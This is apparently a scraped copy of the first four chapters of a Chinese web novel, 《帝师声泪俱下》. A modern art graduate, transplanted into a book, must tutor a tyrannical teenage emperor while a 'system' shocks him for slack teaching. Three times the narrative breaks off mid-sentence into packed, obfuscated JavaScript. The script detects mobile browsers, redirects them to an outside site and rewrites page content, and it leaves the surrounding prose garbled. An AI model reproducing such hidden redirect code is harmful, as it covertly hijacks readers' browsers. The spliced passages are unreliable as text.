《帝师声泪俱下》 1. 第 1 章 大燕宫城,见渊阁。 温催玉坐在堂上书案前,语气波澜不惊地念着面前的《中庸》:“……是故君子戒慎乎其所不睹,恐惧乎其所不闻……” 下面整间课殿里,只在殿中央摆了一张书案,唯一的学生坐没坐相地趴在案上,手上的狼毫笔沾了墨水,但被他张牙舞爪地拿在指间乱划,到处溅上墨滴,他也不管。 等乱挥乱划得狼毫笔上没墨了,他才慢悠悠沿着周遭的墨点“作画”。 温催玉念着竹简上的字,偶尔抬头看一眼,对于这唯一的学生——少帝卫樾——丝毫没有上课模样、甚至不像个脑子正常的人的表现,他视若无睹。 毕竟以卫樾疯癫跋扈的性格,温催玉实在不敢赌,只想明哲保身。卫樾现在这么安安静静的,已经很“乖巧”了! 然而…… “……致中和,天地位焉……”念到这里,温催玉突然咬住牙,不得不停顿下来。 方才那一瞬间,仿佛有电流从四肢百骸穿梭而过,让温催玉一时间舌|根都酸软了。 要不是反应快、及时止了声,温催玉差点闷哼出来。 紧接着,不受控制的,他眼里沁出了点泪花。 温催玉咬咬牙,将竹简抬直挡住脸,继续肌肉记忆地念下去,免得引起卫樾察觉:“……万物育焉。” 同时他一心二用地质问系统:【你搞什么?!】 脑海中,和温催玉绑定的这个名叫“诲人不倦”的系统,语气公事公办地回答:【根据当前情况,宿主您已经发现学生心不在焉、没有专心听课,但没有加以干涉纠正。所以很抱歉,我需要对您进行电击提醒。】 温催玉:【……宿主的命也是命,你们做系统的讲点道理行吗?】 系统模拟出遗憾的语气:【祝愿宿主长命百岁。】 温催玉不想再跟它说了,继续四平八稳地念书,顺道悄悄抬手擦了下沁出眼角的眼泪。 然而,刚放下手,才消失不久的电流感突然又冒了出来! 温催玉双手攥着竹简,平常有些纤弱的十指,这会儿几乎把竹片攥出印子。 温催玉不得不再度停顿下来,这次多缓了几息,随手擦了又冒出来的几颗眼泪,才勉强继续念下去。 并且再度一心二用:【你这又是干什么!】 系统:【您的学生上课不专心……】 【我知道!我没管!你刚才不是因为这个,已经惩罚过了吗!】温催玉在心里咬牙切齿。 系统不急不躁:【是的,但是电击警告是持续性的,除非您改变行动、敬业起来,或者当前情景结束,否则我将会保持每三十秒一次电击的频率,对您进行提醒。】 温催玉:【……行,解释权在系统。那你是不是至少把电击的力度弄小一点?我很担心我迟早死于“电疗”,你能不能考虑下我只是个体弱的病秧子?】 系统还是语气平静:【抱歉,宿主,目前电流已经是考虑过您的身体素质情况,而采取的最小力度。而且请您放心,系统触发的电流是绝对不会对宿主的身体造成影响的。如果您是介意掉眼泪的情况,那我再次表示抱歉,您的身体素质并非我能控制的。】 闻言,温催玉想要对冷冰冰的系统冷笑。 得了,还怪他身体太弱承受不了“电疗”了。 温催玉不再跟系统对话,而是继续专心致志念书,同时拿出好心态迎接每三十秒一次的电流。 反正电流对身体没害,只要做好心理准备,每次电击的力度也并非不能承受,他宁愿忍“电疗”,也不想冒险去管喜怒无常的少帝卫樾。 要知道,据说上一个对卫樾格外耐心、和蔼可亲,甚至愿意从《三字经》开始教这个不学无术少帝的太傅,那还是一个德高望重、年至耄耋的大儒,就因为管得太多,最后被卫樾剃光了脑袋上所有发须,回家去活活羞愤至死了。 在这个身体发肤受之父母、非必要不可伤的时代背景下,这看似未伤及肉|体的“儿戏”,其实也是一种刑罚,名为髡刑,就是一种明晃晃的羞辱。 温催玉倒不在乎头发眉毛,但若是可以,他也是实在不想招惹卫樾。 反正只是电击而已…… 不过随着反复被电,温催玉眼里不由自主涌出的泪花越来越多,沾到因为过长而自然有点卷曲的睫羽上,总是挡住视线。 虽然他过目不忘、不看竹简上的文字也能念下去,但眼前全是泪花,不可能不擦,万一被人看到不是很奇怪吗。 所以温催玉一边念《中庸》,一边时不时抬头擦擦眼泪,还得小心偷瞄几眼,确认卫樾还在玩他自己的,没有注意到他这边。 幸好,卫樾显然对他这个太傅不感兴趣,已经为了画画撑到地上去了,应该没工夫注意他。 然而…… 事实上,卫樾已经因为温催玉前面两次突兀的停顿,而注意到他这位年轻太傅的异样了。 卫樾闲着无聊,发现温催玉故意把竹简竖高之后,反倒提起了兴趣,时不时撩一眼过去,还故意躲着温催玉打量他的目光,免得两人撞上。 于是,卫樾惊奇地发现——温催玉好像是在抬手擦眼睛! 又或是准确点说,是在抬手擦眼泪…… 而且,随着时间过去,温催玉擦拭眼泪的频率越来越高,念书的语气里间歇的哽咽也越来越明显。 卫樾不动声色挑了下眉,心想他这太傅倒是有意思,先是小心翼翼给他念了一个月书,然后据说是磕到脑袋要养病,直接告假了一个月,今日才回来继续授课。 没想到居然变得这么爱哭了! 觉得给他上课很委屈,所以越想,眼泪掉得越厉害? 这温催玉莫不是真把脑子磕傻了罢! 堂前,温催玉再次经受了电流,更多眼泪随之涌了出来,这次甚至没等他擦拭,就直接涌出眼睛,滑过他有些苍白的脸颊,留下一道微不可见的泪痕。 温催玉感觉自己的嗓子已经快要咬不出来字了,再忍下去,他可能真要徒手撕竹简了…… 他没辙,放弃负隅顽抗,抬手擦掉泪痕,然后放下竹简,看向大殿中央的卫樾。 卫樾在他气势汹汹、似乎不打算遮掩地放下竹简时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358756|168049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就收回了视线,专心致志看向地砖上他刚画的乌龟。 温催玉正要开口,但想了想,觉得既然反正要交流,那离得太远显得有距离感,离近一点或许更利于沟通。 所以他暂且闭上嘴,站起身走向卫樾。 卫樾抓着狼毫笔,轻飘飘地在地砖上勾勒一只新的乌龟,余光里看着温催玉离得越来越近。 卫樾心想,这温催玉不要命了。 走到距离卫樾三尺远的地方,温催玉停下脚步,也想好了要怎么开口。 但一点都不通情达理的系统只知道三十秒又过去了,于是在卫樾开口之前,又给了他一次“电疗”。 温催玉忍住痛哼出声的欲|望,在心里骂了声系统。 然后他咬牙切齿调整好呼吸,微微弯腰,对没规没矩、直接撑在地砖上画乌龟,一点都不像已经登基十年、年满十六的少帝卫樾开了口。 温催玉拿出从前去山区暑期支教的耐心,好声好气地问:“陛下,能告诉臣您为什么不愿意好好上课吗?” 听到温催玉的问题,卫樾下意识就要嘲讽他多事。 然而一抬头,卫樾微微一怔。 温催玉这个年轻帝师,长了副好样貌,这件事卫樾其实是知道的,他又不瞎。 但也就是知道而已,长得好看又不能当权势用,或许还会被权势所用,没什么意义。 可当下……温催玉眸中含泪,努力想要压下去的呼吸中都仿佛带着泣音,看着他的目光竟是再急迫诚恳不过。 好似温催玉真的因为他不务正业而心急如焚、关心他到落泪…… 看着温催玉这张春雪明如洗般的脸,和面上不似作伪的关怀,卫樾竟是一时没有口吐恶言。 而温催玉看着卫樾的脸,也是怔了怔——卫樾刚才跟心智不全似的胡乱甩墨点,虽然接着沾着墨点作了一堆画,但都画的是乌龟,没见得比单纯甩墨点要成熟稳重到哪里去。 因为乱挥笔,所以卫樾衣服上也有墨点,但他没抬头之前,温催玉没发现原来他脸颊上也沾了一小片墨迹。 卫樾默不吭声地抬头看着他,一时间看起来,竟不像是个桀骜不驯的暴君,倒像是有些倔强的少年。 温催玉一时不由得心软了点,心想……这卫樾确实才十六岁,放在现代都还在读高中呢,比他小了六岁,又从小命运多舛,也怪可怜的。 于是,温催玉一时没忍住,走近了点,蹲到卫樾面前,抬起衣袖落到卫樾脸上,轻轻给他擦了擦:“怎么弄得到处都是……” 卫樾敏锐地察觉到了温催玉眼里的怜惜,于是他沉下脸,想也不想地推开了温催玉。 温催玉猝然跌坐在地,看着卫樾放下狼毫笔、自己站起身,拍了拍衣袍。 然后卫樾居高临下地看着温催玉:“你是什么玩意儿,竟敢碰朕的脸,爪子不想要了?来人!把温太傅的手给朕砍下来!” 温催玉:“……”他刚才干嘛手贱! 居然觉得这个疯癫跋扈的少帝可怜! 卫樾冷冷地看着温催玉——你算什么东西,竟也敢怜悯朕? 2. 第 2 章 宫人听到卫樾的传唤,步入了殿内。 但是对于卫樾的吩咐,他们实在是不敢照做,于是几个宫人齐齐跪伏在地,不敢出声,也不敢乱看。 卫樾冷声道:“朕现在使唤不动你们了?” 宫人们连忙告饶:“奴才们不敢!” “陛下恕罪!” 温催玉咬了咬牙,想起原书剧情里卫樾的一些行径,深觉要是再不让卫樾降火,只怕他恼怒下去觉得没面子,真会不管不顾非要砍了他的手。 事已至此,温催玉撑着地砖站起身,对卫樾作了一揖:“陛下……” 卫樾阴沉着脸看向他。 温催玉眼中方才没来得及拭去的泪花,此时正巧变成一滴泪落了下来。 卫樾的目光随着那滴泪看向地面。 那滴眼泪正好落在卫樾此前画的一只乌龟上,本就微小的水滴很快看不清了。 卫樾回想起温催玉方才举着竹简暗自抹泪,又小心走到他近前关心问候的模样,不由得攥了下手。 温催玉方才想给他擦脸,袖摆扫过他鼻间,他好像还闻到了白檀香的味道…… “陛下恕罪,是臣之过,臣方才一时僭越,还望陛下……咳、咳咳……臣……”温催玉没说两句,突然开始咳嗽。 他偏过头避开前方的卫樾,咳嗽两声了,又强忍下去,回过头正面对着卫樾,想要继续告罪。 但没说两个字,又实在忍不住似的,再次偏过头去,以袖掩面地咳嗽。 咳嗽着,他下意识抬手按住自己的心口,好像还有些胸闷气短,接着连咳嗽都开始喘不上气似的。 卫樾看着他越发苍白的脸色,突然想起来,这年轻的帝师温催玉,据说确实是自幼体弱多病。 方才那白檀香,兴许不是为了熏香,而是用来行气调理,从而沾染上的味道。 “行了,有痨病就滚出宫治,在朕面前咳什么咳,聒噪!”卫樾不耐烦地一甩手,往外走了。 虽然言语刻薄,但显然他不打算继续就“砍手”这个事,对温催玉不依不饶了。 温催玉松了口气——卫樾再不给反应的话,他就要装不下去了。 毕竟他一直是真体弱多病,难得有装病的需求。 “陛下……您今日课业……咳咳……” 温催玉有点担心卫樾就这么走了,系统判定他这个老师不够敬业,连学生擅离课堂都不管,又给他来一疗程电击,所以连忙出声。 但不知道是不是刚才装咳嗽、装胸闷气短遭了报应,说着话,温催玉突然真止不住的咳嗽起来。 正准备走出殿门的卫樾停在原处,侧身回头看向温催玉,眉头紧锁:“你要死了?” 温催玉没工夫搭理,他咳得只觉喉间都泛出了铁锈味,几乎要站不稳。 然后,失控的咳嗽突然停了,温催玉有些难受地躬下腰,扶着卫樾方才坐的书案,脸色苍白、小口小口急促喘气地倒在了地上。 衣袍上沾染了周遭未干的墨迹,温催玉也无暇顾及。 他双目无神地靠在书案边、伏在地上,一身素色长袍衣摆和腰间的水苍玉一起缀落在地,青丝垂下,半遮掩住他的脸。 卫樾看着,突然觉得温催玉好像一捧雪,快要融化了。 因为卫樾还没走,所以还跪着没敢起的宫人们,听着帝师这喘不上气的动静,也不由得跟着担忧,但又什么都不敢做。 直到卫樾冷声训斥:“都愣着干什么,想让朕再气死一个太傅?找太医给他看看!” 说完,卫樾甩袖离去。 温催玉虽然无暇回应,但这话他听见了,不由得苦中作乐——挺好,看来这次寻医问药的钱能省了。 接着,温催玉失去了意识,整个人彻底倒在了地上。 不知过了多久,温催玉半梦半醒地有了意识,只是仍然浑浑噩噩,睁不开眼。 他索性先对系统念叨起来:【我都说了我病还没好,你非威胁我回来给那小暴君上课,现在好了吧,我又病了。】 或许是因为他现在意识不清,跟在心里说梦话似的,系统并没有回应他。 ——温催玉是在一个月前,绑定上这个自称名叫“诲人不倦”的系统的。 他也是在那个时候,才穿越到当下这个书中世界的。 温催玉,二十二岁,原本在现代是一个美术生,刚大学毕业,才考上学校里美术老师的工作,还没正式开始任教,此前只有大二和大三两次暑期前往山区支教的教学经验。 一个月前,温催玉前往山间采风,突然头晕目眩,失足摔倒,磕到了头,就此丧命。 再醒过来,就穿到了现在这个书中世界。 据系统介绍,原书书名简单粗暴,就叫《暴君》,讲述的是主角卫樾风云变幻的人生故事。 卫樾一出生便被厌弃,关在形同冷宫的偏僻宫殿之中无人问津,缺吃少穿地长到六岁,被起兵谋反的庄王扶持登基,从此成了庄王这个摄政王手下的傀儡皇帝。 傀儡皇帝,重在傀儡。卫樾在摄政王的安排下,登基之后除了吃喝玩乐之外一事无成,性格还越发乖戾残暴。 然而,表面看起来只知道疯癫跋扈的少帝,自己并非全无盘算,只是难在无米之炊,摄政王又权倾朝野、无人敢有异心。 直到卫樾二十岁这年,摄政王因病显出了颓势,曾经的少帝却已经及冠到了堪当大任的年纪。卫樾抓住了文武百官人心浮动的契机,成功用两年时间就让摄政王倒台,朝中权柄收于手中。 然而,卫樾过去的喜怒无常、桀骜不驯并非装模作样,他的的确确是个暴君,还是个多疑偏执的暴君。 暴君亲政,满朝文武至黎民百姓,都水深火热,最后卫樾作为一个人人喊打的暴君,突然就不想活了,选择自焚于大火之中——主角死了,这本书也就这么人人喊打的烂尾了。 系统表示,如果按着原书剧情走向,这个世界最终势必会崩坏。 所以现代的温催玉死后,被绑定了“诲人不倦”系统,带着“把他当前的学生教育成才”——放在书中背景下意即“教导卫樾成为一个心系百姓的明君”这样的任务,重生成了书中人。 温催玉穿书过来的这个角色,仿佛是另一个平行世界的自己,同名同姓之余,还有相同的外貌,一样的年纪,一样的从出生起就体弱多病,一样的无亲无故,甚至一样的英年早逝…… 原主在原书剧情中,虽然官至太傅,但本质只是主角卫樾人生中一个路过的炮灰。 温催玉穿书过来的时间点,正好是原主死亡的时间点—— 一个月前,刚当了一个月太傅的原主,因为郁郁不得志而饮酒过多,醉后失足摔倒,和现代的温催玉一样死于头部受伤。 在原书剧情中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358757|168049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原主这个太傅之死,是作为少帝卫樾桀骜不驯、难堪大任的一个佐证。 毕竟之前已经气死过一个耄耋大儒,如今又让一个青年才俊因借酒消愁而英年早逝,两任太傅都死得如此窝囊,少帝卫樾的所作所为,既让摄政王安心,也给了摄政王不再安排人教导少帝的正当理由。 不过由于温催玉的穿书,剧情没有像原书那样发展——本来太傅府上已经准备对外报丧,但没想到温催玉又醒过来了。 而温催玉穿书过来后,第一件事就是一连告假一个月,宣称本就体弱多病,如今又伤了脑袋,休养时间难免长些。 这期间,温催玉搞清楚、初步想好了自己当前所面临的状况。 系统要他好好教导暴君,最好一秒都别多等。 但温催玉觉得,按少帝卫樾的作风,是真有可能一个不高兴就弄死他的,反正他无亲无故又无权无势,就算是傀儡皇帝也不担心弄死他之后不好善后。 如果眼前自己的命都保不住,还谈什么这个世界未来崩不崩坏? 所以,温催玉硬是养伤养了一个月,就是不急着复工。 直到系统提醒他:【宿主您的伤势已经痊愈,明日如果再不复课,我将采取电击警告。由于这是您第一次违反“诲人不倦”宗旨,故我提前采取了口头提醒,下一次我将直接启动电流,请知悉。】 温催玉:【……好奇一下,你所谓的“诲人不倦”宗旨,具体是个什么标准?】 系统表示,考虑到人类多样性,也不想为难宿主、徒增任务难度,所以这方面,“诲人不倦”系统因地制宜,将以温催玉自身的经历作为标准——虽然温催玉在现代还没来得及正式授课,但他曾两度前往山区支教,合计有近半年的教学经验。 对此,温催玉初听时就十分无语:【你的意思是,要我用对待支教期间所遇到的学生的态度,去教导这个世界的暴君?】 系统公事公办:【一定意义上来说,的确如此。】 温催玉:【……还有一点,我学美术的,原本要当的也只是美术老师。支教期间帮忙代课,凑合上一上小学的主科也就算了,你指望我现在变成儒学大师,去做太傅?】 系统理解了下,觉得宿主有点消极,于是道:【请宿主保持积极向上的态度,相信自己。您有过目不忘之能,明天复课,今天把四书五经尽快翻一遍,还来得及,您可以。】 温催玉如果可以,比较想把系统拉出来揍一顿。 不过,不管怎么样,他已经是太傅了,躲着不回宫给皇帝上课,也不是个长久之计。 而且,摄政王庄王那边为表对皇帝课业的关怀,也已经派人到太傅府问候过了,不方便再消极怠工地搪塞下去。 所以,温催玉今日就回宫给少帝卫樾上课了。 但他原本想得很轻松——原主给卫樾上了一个月的课,期间什么都事不关己,卫樾虽然没把原主放在眼里,但也没有特意找他茬,这法子不是就很适合保命吗! 反正摄政王那边,也没有真想让少帝学有所成,所以如果摄政王召见太傅问起来,他只需要如履薄冰地面露苦色,也就应付过去了。 于是,温催玉本决定学习原主,进了宫凡事都不关心,不听不看不理不问、每天照本宣科念完书就走人,皆大欢喜。 可偏偏他绑定的系统叫“诲人不倦”,简直是想要他命。 3. 第 3 章 温催玉带着对系统的满腹怨气,睁开眼时,已经是五个时辰后。 守在床榻边的宫人见他醒了,连忙上前搀扶。 温催玉坐起身,靠在床头,接过宫人帮忙倒的水,喝下润了润嗓子。 “多谢。”温催玉将茶杯递还给宫人,又问,“我这是在哪儿,现在是什么时辰了?” 宫人低着头道:“回太傅大人,这里是青霜殿,就在太傅大人您今日晕倒的见渊阁后面。您巳时晕倒,如今已戌时了。” 戌时…… 温催玉望了眼附近的窗户:“已经入夜了?” 宫人回道:“是的。半个时辰前,庄王殿下遣了人过来问候,又说天色已晚,宫门也将要下钥,您若是今日能醒,也不必急着出宫回府,可再好好休息一夜,凡事明日再说。而您府上,庄王殿下也会派人前去知会一声,您不用担心府上着急。” 这庄王,也就是当今权倾朝野的摄政王了。 温催玉客客气气道:“真是有劳庄王殿下挂怀了。对了,今日我晕倒之时,似是有听见陛下吩咐人为我传太医?” 宫人颔首:“是的,因有陛下吩咐,奴才们才敢将您送到这青霜殿来。” “窦太医前来为您诊治过,说是并无大碍,只是您素来身体虚弱,今日在见渊阁大抵是突然气血翻涌,一时经络不畅,多休息便好。” “窦太医也给您开了凝神平气的汤药,只是您先前一直睡着,不知什么时候能醒,便只煨在炉上。方才您醒了,出去的那个宫人,便是为您端药去了。” 说着话,另一个宫人端着药进来了。 “有劳了。”温催玉道。 宫人忙称不敢。 药闻着便苦,不过温催玉即便是在现代,也是个药罐子,从小到大没少喝中药温养,现在倒不至于喝不下去。 他也不想在宫人们面前显得犯怂,所以尝了一口,确定入口温度适宜后,他直接一鼓作气,将一整碗药喝了下去。 喝完药,又喝了点清水漱口,然后温催玉重新躺下,阖上眼,继续休息了。 不过大抵是因为白天已经睡得太多,虽然喝了药之后很快有了倦意,但温催玉昏昏沉沉睡到子时末,便又醒了。 根据养病多年的经验,温催玉知道自己若是再睡下去,反倒会更难受,便起了身,想出门呼吸下新鲜空气。 如今八月底的天气,暑气才过,不冷不热,不必担心夜里出门受凉。 守夜的宫人睡眼惺忪地想要爬起来陪同,温催玉摇头婉拒:“不必,我只在院子里走走,不会往别处去,不用人特意陪同,你们也不用担心我乱走、冲撞了人。” 宫人忙赔笑:“太傅大人说笑了,这宫里也就陛下一个主子,入了夜连庄王殿下都不在宫里。您是帝师,等闲只有旁人冲撞了您的份……” 如今朝中提起卫樾,仍有不少人以“少帝”相称,一是因为这些年来这样代称习惯了,二是卫樾如今年十六,的确也不算年纪多大的皇帝,这样称呼并不突兀。 但十六岁,放在这年头,说大不大说小不小的年纪,寻常人家这个岁数的儿子,大多都有相看亲事了。 不过少帝卫樾情况特殊,庄王当政,满朝文武里也就年迈的老臣敢大着胆子说一句“陛下到了可以选秀的年纪了”。 但也就仅此而已,说完了,庄王不允,略给面子地以“陛下尚未学有所成,此时广纳后宫,有碍陛下心性,不利陛下长进”为由,拒绝给少帝选秀、转而任职一个太傅,那些大臣们也不敢再置喙。 所以,如今三宫六院无人,到了宫门下钥、庄王也出宫回府的夜里,的确只有卫樾这个皇帝主子。 温催玉今日意外留宿宫中,所住的青霜殿名义上属于前朝,但落位于前朝和后宫交界处。 温催玉站在殿外院中,考虑着明天要怎么继续给他的好学生上课。 还有,托卫樾玩墨汁的福,温催玉倒下时衣袍上沾了墨迹,如今温催玉一身素衣,墨痕显眼,他还在寻思着等卯时宫门开了,应该来得及回府一趟,好歹换身衣裳…… 突然,余光里似乎瞥见了几道影子跑过,温催玉下意识看向远处的房顶。 位于后宫范围的院墙上,确实有几道匆匆而过的身影,温催玉刚定睛确认,那几道身影就似乎从房顶跳了下去,消失在了他视野中。 温催玉眨了眨眼。 他回忆了下原书剧情——原书从卫樾年满二十、开始争权这里起笔,这之前发生过的事并没专门叙述,只是之后插叙提过一些能充当背景的旧事,但往往也是几笔带过,并不详细。 如今卫樾才十六,往后近四年的时间段里,剧情都是空的,所以这会儿温催玉并不能从原书剧情里得到什么启发。 问系统也没用,系统最开始就说过,除了已经传输给温催玉的原书剧情以及原主记忆之外,其他信息方面的问题,系统本身也无从知晓更多,更不能帮助温催玉分析揣测。 这个“诲人不倦”系统,除了在温催玉穿书之初,帮助他了解情况之外,之后就只剩下“电疗”作用了。 温催玉又看了眼方才那几个飞檐走壁的身影消失的方向,然后默默转身,打算回殿内了。 虽然不知道到底是什么情况,但他一个病秧子,没权没势还手无缚鸡之力,连傀儡皇帝都不敢惹,现在也别多管闲事的好。 然而,没走几步,熟悉的电流感再度传遍全身。 温催玉咬牙切齿擦掉眼泪:【……这次又是什么原因?】 系统四平八稳地回答:【两年前,您在山区支教期间,一次在夜里起床喝水时,看到学生宿舍那边隐约有火光,虽然您当时不确定是否有危险,但还是因为担心学生安危,特意前去查看。】 【基于以上这段经历,对照现在,皇宫之中出现不同寻常的人影,最可能有危险的就是皇帝卫樾,您作为老师,应该去查看。】 温催玉沉默。 他现在很想回到两刻钟前,把非要起床出来透气的自己打晕——非要出来!这不就看到了不该看的吗! 该死的系统。 温催玉赶在下一次电流来之前,气势汹汹地转身往外走了:【我待会儿要是被牵连弄死了,看你上哪儿找新宿主做任务去——话说,我有回档复活的机会吗?】 系统表示很遗憾:【没有的哦,宿主请加油存活。】 温催玉:“……” 这一点都不科学的系统逻辑! 青霜殿和宫内大多数宫殿一样,寻常都没有人住,也就没有特意安排侍卫在殿外值守,只有宫道上按制站有卫戍宫城的侍卫轮值。 温催玉顺利走出了青霜殿,但他不认识宫里的路,又不想折返回青霜殿、拉上武力值大概没比他强出多少的宫人一起冒险,所以只能按着方才印象里那几道身影的方向,乱打乱撞地走过去。 没走多远,便遇到了值守的侍卫。 “站住!你是谁?为什么这个时辰还在宫里走动?”一个侍卫肃声问询。 另一边的侍卫提高灯笼,看清了温催玉的脸,连忙行礼:“见过温太傅!” 其他侍卫闻言,也跟着行礼:“温太傅!” 但最开始更为严肃的那个侍卫还是忍不住再问,只是语气客气许多:“温太傅,这么晚了,您怎么会在宫里走动?” 温催玉不想把动静闹大,但这事儿明摆着不可能低调。 他今夜在宫里走动,还是冲着去看卫樾安危的,待会儿卫樾就会被惊动,摄政王那边或许也很快会得到宫中消息,反正都是要知道的。 而且保命为上,既然有侍卫,他又何必“孤军奋战”? 于是温催玉直言:“我因养病临时留宿宫中,白日睡得太多,方才睡不着,起身透气,在院子里看到后宫方向有几道可疑的身影飞檐走壁,担心陛下安危,所以想过去看看。还请诸位引路同去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358758|168049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 闻言,事关皇帝安危——管他是不是傀儡皇帝呢,这不是寻常侍卫需要考虑的层面——侍卫们也不觉得温催玉一个太傅有必要大庭广众撒谎,便领命道:“是!” 有了宫里的侍卫引路,直接前往卫樾的寝殿,倒是不用担心不认路了。 但另一个问题在于,侍卫们走得太快了,温催玉勉强跟了一段,就喘不上气了,不得不扶着宫墙停下来,再走也只能慢吞吞的,实在是跟不上。 见状,最开始那个严肃的侍卫停下来,对同行其他几个侍卫说:“温太傅是文人,走得慢,我陪同他稍后几步过去,你们沿路再多叫上些侍卫,快赶去陛下的寝宫保障陛下安危。还要排查宫中是否有形迹可疑之人,得通知秦统领做主……” 这么一安排,其他侍卫都加快了步伐。 温催玉看着走到他身侧的这个侍卫,顺了顺气,才开口:“对不住,拖累你们的脚程了。你方才说的秦统领是?” 侍卫回答:“温太傅言重,我等戍卫宫城,竟没发觉有可疑人影威胁陛下安危,已是失职,幸有温太傅提醒。秦贺秦统领,是守卫宫城的叱南军统领,今夜秦统领也在宫中当值,若要调动更多侍卫,还得秦统领下令。” 温催玉看了看这个侍卫:“听你谈吐,像是读过书?” 侍卫笑道:“在温太傅面前,不敢说读过书,只是少时家中有点闲钱,送我去私塾识过字。” 温催玉听着他这样说话,感觉累得慌,于是打算结束对谈:“我休息得差不多了,继续走快点吧,也不知道陛下那边如何了……对了,还没问过你名字。” 侍卫回道:“属下姓袁,名昭,日月昭昭的昭。” 温催玉点点头:“有劳袁侍卫了。” 在袁昭的陪同下,温催玉上气不接下气地赶到卫樾的寝宫定风殿时,只见殿内殿外围了不少侍卫和宫人,而院中摆了一把摇椅,少帝卫樾正冷着脸躺在上面,还一晃一晃的。 看着在朦胧月光和灯笼烛火映照下,温催玉那张因为劳累而泛着红意的脸,还有看到他无碍时一闪而过的“放心了”的目光,卫樾怔了怔。 然后他敛了那一瞬间的错愕,没心没肺地挑眉道:“温太傅,大半夜这么兴师动众,让朕和这么多人等你过来解释,你这架子可比朕还大。” 温催玉就是怕自己走得太慢耽误事,这一路过来几乎没怎么喘匀过气,现在扶着院外的殿门,还觉得从喉间到脑子都是堵塞的。 他听到了卫樾的话,但一时反应不过来,寻思着先作个揖免得被挑刺吧,但四肢不听使唤,再稍微动一下,温催玉都担心自己直接瘫倒在地。 都这样了,反正卫樾没事,温催玉索性没急着回应,还是半扶半靠着墙慢慢呼吸,想尽快喘匀气。 同行的袁昭见状,只好自己大着胆子先站出来,下跪行礼:“卑职拜见陛下……温太傅说,瞧见了可疑人影在房顶上蹿动,太傅大人一路赶过来,十分担忧陛下安危,体力耗尽也不敢停歇……” “你还好意思说!”这话是站在卫樾附近的一个中年男人说的,看甲胄打扮,和寻常侍卫不同。 果不其然,袁昭称呼他道:“秦统领,属下……” “温太傅是个文人,又出了名体弱多病,一时眼花很正常,也不知道是看错了什么,记挂陛下安危所以急了点也情有可原,可你袁昭好歹是我叱南军里一个小领队,竟也跟着温太傅一起不知轻重,深更半夜在宫里乱蹿,还惊扰圣驾,这罪责你担得起吗!”秦贺厉声斥责。 接着他对卫樾拱手:“陛下,是臣管教不严之过,臣定重重责罚这大惊小怪的领队,往后更严厉管教叱南军,还望陛下恕罪。” 卫樾还是冷着脸:“废话太多,都滚!——温太傅留下,既然这般关怀朕的安危,来了之后怎么一句话都不说,看来你是想和朕单独聊聊。” 忙着喘气、根本没工夫说话的温催玉:“……” 4. 第 4 章 秦贺领着叱南军说走就走,定风殿院内很快只剩下宫人。 还有就是在躺椅上摇摇晃晃的卫樾,以及仍然站在门口、平息方才一路过来快要炸开的心肺的温催玉。 卫樾也没再催,枕在躺椅上看着脸色渐渐恢复往日苍白的温催玉,然后似是觉得很有趣地说:“你看上去像个蜡烛做的,快要烧完了的那种。” 温催玉闭了闭眼,这跟说他像个死人有什么区别…… 他理了下方才所见所闻,似乎应该是戍守宫内的叱南军统领和侍卫们过来,把卫樾惊扰了出来,之后又十分迅速地搜寻了其他宫苑,确认并没有什么可疑之人。 所以卫樾才这么黑着脸跟他要“解释”,方才那个秦贺才那么阴阳怪气地撒火。 可……温催玉知道自己走得慢,但也不至于慢到了这般地步吧? 叱南军行动这么快吗,已经把宫里都搜过了,能那么笃定地确信只是他眼花看错? 就算卫樾只是个傀儡皇帝,但若是他真在宫里出了事,秦贺难逃问责,丢官都是小的,就怕还会丢命。所以,哪怕是卫樾不让叱南军到处搜查,秦贺也不该表现得那么理直气壮吧…… 还有,温催玉确定自己没有眼花的毛病,他当时清清楚楚看见了有人影,系统的认定更是实打实的证据。 所以……难道是那个秦贺知道什么内情,才能这么笃定? 思索着,温催玉总算休息得差不多了,能稳当走入庭院内,对卫樾俯身作揖:“陛下,臣只是担忧您的安危,并非有意惊扰,还望陛下恕罪。” 卫樾没喊平身,打量着他的腿:“怎么,温太傅这双腿弯不下去,不知道怎么行跪礼?” 温催玉在心里忙着骂系统给他找麻烦,这会儿要捎上卫樾一起骂了。 不知道装病这一招,一天用两次的话,这次的效果会不会被打骨折…… “臣……”温催玉暗自咬牙,心想算了。 往后和这少帝见面的次数还多着呢,总不能每次还没行礼就先装病。 能屈能伸吧! 卫樾看着温催玉凝重得似乎有些忍辱负重的表情,觉得挺有意思。 于是没等温催玉跪下去,卫樾先从摇椅上站起身,一把拽住温催玉,直接把人按在了摇椅上。 